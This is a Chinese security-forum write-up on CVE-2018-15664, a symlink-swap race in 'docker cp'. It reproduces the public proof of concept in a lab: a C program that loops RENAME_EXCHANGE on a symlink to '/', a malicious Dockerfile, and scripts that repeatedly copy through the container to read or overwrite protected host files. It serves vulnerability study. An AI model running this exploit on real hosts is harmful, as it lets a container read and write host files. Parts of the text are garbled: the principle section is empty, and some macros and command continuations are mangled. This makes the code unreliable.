本文为看雪论坛优秀文章
看雪论坛作者ID:ZxyNull
来自SUSE的安全专家Aleksa Sarai公布了编号为CVE-2018-15664的docker相关高危安全漏洞,该漏洞的CVSS评分为8.7,影响面涵盖所有docker 18.06.0-ce-rc2之前发行版本,该漏洞的根因是使用FollowSymlinkInScope函数时触发TOCTTOU(time-of-check-to-time-of-use) 文件系统的竞争条件缺陷引起的。
1.背景知识
docker cp命令
docker cp 命令用于在docker创建的容器与宿主机文件系统之间进行文件或目录复制。比如将文件从容器拷贝到宿主机上:
docker cp container_id:file_path_in_container host_path
#实例
docker cp 0cd4d9d94de2:/Test.java /Test.java
符号链接
符号链接(symbolic link)是 Linux 系统中的一种文件,它指向系统中的另一个文件或目录。符号链接类似于 Windows 系统中的快捷方式。符号链接的操作是透明的:对符号链接文件进行读写的程序会表现得直接对目标文件进行操作。某些需要特别处理符号链接的程序(如备份程序)可能会识别并直接对其进行操作。在*nix系统中,ln命令能够创建一个符号链接,例如:
ln -s targrt_path link_path
上诉命令创建了一个名为link_path的符号链接,它指向的目标文件为target_Path。
TOCTOU
在电路设计、软件开发、系统构建中,如果一个模块的输出与多个不可控事件发生的先后时间相关,则称这种现象为“竞争条件”(Race condition),又称“竞争冒险”(race hazard)。从计算机安全考虑,许多竞争条件都会产生漏洞——攻击者通过访问/竞争共享资源,从而使利用该资源的其他参与者出现故障,导致包括拒绝服务和违法权限提升等后果。例如有名的Dirty_Cow(https://en.wikipedia.org/wiki/Dirty_COW)漏洞就是由竞争条件引起的。
而一种常见的起因就是代码先检查某个前置条件(例如认证),然后基于这个前置条件进行某项操作,但是在检查和操作的时间间隔内条件却可能被改变,如果代码的操作与安全相关,那么就很可能产生漏洞。这种安全问题也被称做TOCTTOU(time of check and the time of use)。
2. 漏洞原理
3.漏洞复现
#安装Metarget
git clone https://github.com/brant-ruan/metarget.git
cd metarget/
pip install -r requirements.txt
#一键部署漏洞环境
./metarget cnv install cve-2018-15664
#完成后查看docker版本
root@ubuntu:/home# docker --version
Docker version 18.03.1-ce, build 9ee9f40
.
├── build
│ ├── Dockerfile
│ └── symlink_swap.c
├── run_read.sh
└── run_write.sh
# Build the binary.
FROM opensuse/leap
RUN zypper in -y gcc glibc-devel-static
RUN mkdir /builddir
COPY symlink_swap.c /builddir/symlink_swap.c
RUN gcc -Wall -Werror -static -o /builddir/symlink_swap /builddir/symlink_swap.c
# Set up our malicious rootfs.
FROM opensuse/leap
ARG SYMSWAP_TARGET=/w00t_w00t_im_a_flag
ARG SYMSWAP_PATH=/totally_safe_path
RUN echo "FAILED -- INSIDE CONTAINER PATH" >"$SYMSWAP_TARGET"
COPY --from=0 /builddir/symlink_swap /symlink_swap
ENTRYPOINT ["/symlink_swap"]
do { printf( ); exit(1); } while(0)
do { perror( msg); exit(1); } while (0)
/* No glibc wrapper for this, so wrap it ourselves. */
/*int renameat2(int olddirfd, const char *oldpath,
int newdirfd, const char *newpath, int flags)
{
return syscall(__NR_renameat2, olddirfd, oldpath, newdirfd, newpath, flags);
}*/
/* usage: symlink_swap <symlink> */
int main(int argc, char **argv)
{
if (argc != 2)
usage();
char *symlink_path = argv[1];
char *stash_path = NULL;
if (asprintf(&stash_path, "%s-stashed", symlink_path) < 0)
bail("create stash_path");
/* Create a dummy file at symlink_path. */
struct stat sb = {0};
if (!lstat(symlink_path, &sb)) {
int err;
if (sb.st_mode & S_IFDIR)
err = rmdir(symlink_path);
else
err = unlink(symlink_path);
if (err < 0)
bail("unlink symlink_path");
}
/*
* Now create a symlink to "/" (which will resolve to the host's root if we
* win the race) and a dummy directory at stash_path for us to swap with.
* We use a directory to remove the possibility of ENOTDIR which reduces
* the chance of us winning.
*/
if (symlink("/", symlink_path) < 0)
bail("create symlink_path");
if (mkdir(stash_path, 0755) < 0)
bail("mkdir stash_path");
/* Now we do a RENAME_EXCHANGE forever. */
for (;;) {
int err = renameat2(AT_FDCWD, symlink_path,
AT_FDCWD, stash_path, RENAME_EXCHANGE);
if (err < 0)
perror("symlink_swap: rename exchange failed");
}
return 0;
}
SYMSWAP_PATH=/totally_safe_path
SYMSWAP_TARGET=/w00t_w00t_im_a_flag
# 创建flag
echo "SUCCESS -- COPIED FROM THE HOST" | sudo tee "$SYMSWAP_TARGET"
sudo chmod 000 "$SYMSWAP_TARGET"
# 构建镜像并运行容器
docker build -t cyphar/symlink_swap
--build-arg "SYMSWAP_PATH=$SYMSWAP_PATH"
--build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/
ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")
# 不断执行docker cp命令
idx=0
while true
do
mkdir "ex${idx}"
docker cp "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET" "ex${idx}/out"
idx=$(($idx + 1))
done
SYMSWAP_PATH=/totally_safe_path
SYMSWAP_TARGET=/w00t_w00t_im_a_flag
# 创建flag
echo "FAILED -- HOST FILE UNCHANGED" | sudo tee "$SYMSWAP_TARGET"
sudo chmod 0444 "$SYMSWAP_TARGET"
# 构建镜像并运行容器
docker build -t cyphar/symlink_swap
--build-arg "SYMSWAP_PATH=$SYMSWAP_PATH"
--build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/
ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")
echo "SUCCESS -- HOST FILE CHANGED" | tee localpath
# 不断执行docker cp命令
while true
do
docker cp localpath "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET"
done
FAILED -- HOST FILE UNCHANGED
SUCCESS -- HOST FILE CHANGED
附录
源码 docker-ce-18.13.1-ce
// FollowSymlinkInScope is a wrapper around evalSymlinksInScope that returns an
// absolute path. This function handles paths in a platform-agnostic manner.
func FollowSymlinkInScope(path, root string) (string, error) {
path, err := filepath.Abs(filepath.FromSlash(path))
if err != nil {
return "", err
}
root, err = filepath.Abs(filepath.FromSlash(root))
if err != nil {
return "", err
}
return evalSymlinksInScope(path, root)
}
-
TOCTTOU相关知识
-
docker cp 官方文档
-
POC
-
其他分析报告
-
Metarget 开源地址
-
了解Dockerfile
看雪ID:ZxyNull
https://bbs.pediy.com/user-home-921173.htm
#
原文始发于微信公众号(看雪学苑):CVE-2018-15664:符号链接替换漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论